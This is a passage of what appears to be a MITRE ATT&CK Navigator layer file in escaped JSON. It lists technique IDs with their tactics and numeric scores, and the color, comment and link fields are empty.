\"T1218.009\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1021.006\",\n \"tactic\": \"lateral-movement\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1090.002\",\n \"tactic\": \"command-and-control\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 26,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.011\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.011\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1548.002\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 56,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1548.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 56,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543\",\n \"tactic\": \"persistence\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1599.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.014\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1220\",\n \"tactic\": \"defense-evasion\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.007\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.007\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.007\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1027.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1202\",\n \"tactic\": \"defense-evasion\",\n \"score\": 39,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1129\",\n \"tactic\": \"execution\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1518\",\n \"tactic\": \"discovery\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1588.002\",\n \"tactic\": \"resource-development\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1070.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.002\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.002\",\n \"tactic\": \"persistence\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1587.001\",\n \"tactic\": \"resource-development\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1074.001\",\n \"tactic\": \"collection\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1027.004\",\n \"tactic\": \"defense-evasion\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.011\",\n \"tactic\": \"persistence\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.011\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.011\",\n \"tactic\": \"defense-evasion\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1012\",\n \"tactic\": \"discovery\",\n \"score\": 14,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.008\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.008\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.008\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1027.009\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1087.002\",\n \"tactic\": \"discovery\",\n \"score\": 21,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1090.001\",\n \"tactic\": \"command-and-control\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1216\",\n \"tactic\": \"defense-evasion\",\n \"score\": 13,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1615\",\n \"tactic\": \"discovery\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.011\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.011\",\n \"tactic\": \"persistence\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1552.002\",\n \"tactic\": \"credential-access\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1072\",\n \"tactic\": \"execution\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1072\",\n \"tactic\": \"lateral-movement\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.008\",\n \"tactic\": \"defense-evasion\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1048.001\",\n \"tactic\": \"exfiltration\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1132.001\",\n \"tactic\": \"command-and-control\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.001\",\n \"tactic\": \"persistence\",\n \"score\": 39,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 39,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1505.005\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556.002\",\n \"tactic\": \"credential-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556.002\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.008\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.008\",\n \"tactic\": \"persistence\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.007\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.007\",\n \"tactic\": \"persistence\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.014\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.014\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.010\",\n \"tactic\": \"persistence\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.010\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.002\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.002\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1564.006\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1069.002\",\n \"tactic\": \"discovery\",\n \"score\": 15,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.005\",\n \"tactic\": \"execution\",\n \"score\": 51,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.005\",\n \"tactic\": \"persistence\",\n \"score\": 51,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.005\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 51,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1027.005\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546\",\n \"tactic\": \"persistence\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1204.004\",\n \"tactic\": \"execution\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1027.010\",\n \"tactic\": \"defense-evasion\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.010\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.002\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1219\",\n \"tactic\": \"command-and-control\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.013\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1564.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1555.003\",\n \"tactic\": \"credential-access\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547\",\n \"tactic\": \"persistence\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.007\",\n \"tactic\": \"defense-evasion\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.005\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.005\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.005\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1491.001\",\n \"tactic\": \"impact\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.001\",\n \"tactic\": \"persistence\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1608\",\n \"tactic\": \"resource-development\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1539\",\n \"tactic\": \"credential-access\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1211\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1563.002\",\n \"tactic\": \"lateral-movement\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1552.006\",\n \"tactic\": \"credential-access\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1560\",\n \"tactic\": \"collection\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1505.002\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1542.001\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1542.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1176.001\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1649\",\n \"tactic\": \"credential-access\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1555.004\",\n \"tactic\": \"credential-access\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1553.005\",\n \"tactic\": \"defense-evasion\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1569\",\n \"tactic\": \"execution\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1120\",\n \"tactic\": \"discovery\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1542.003\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1542.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1614.001\",\n \"tactic\": \"discovery\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1484.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1484.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1021.005\",\n \"tactic\": \"lateral-movement\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1119\",\n \"tactic\": \"collection\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1590.001\",\n \"tactic\": \"reconnaissance\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.015\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.015\",\n \"tactic\": \"persistence\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574\",\n \"tactic\": \"persistence\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574\",\n \"tactic\": \"defense-evasion\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1039\",\n \"tactic\": \"collection\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n 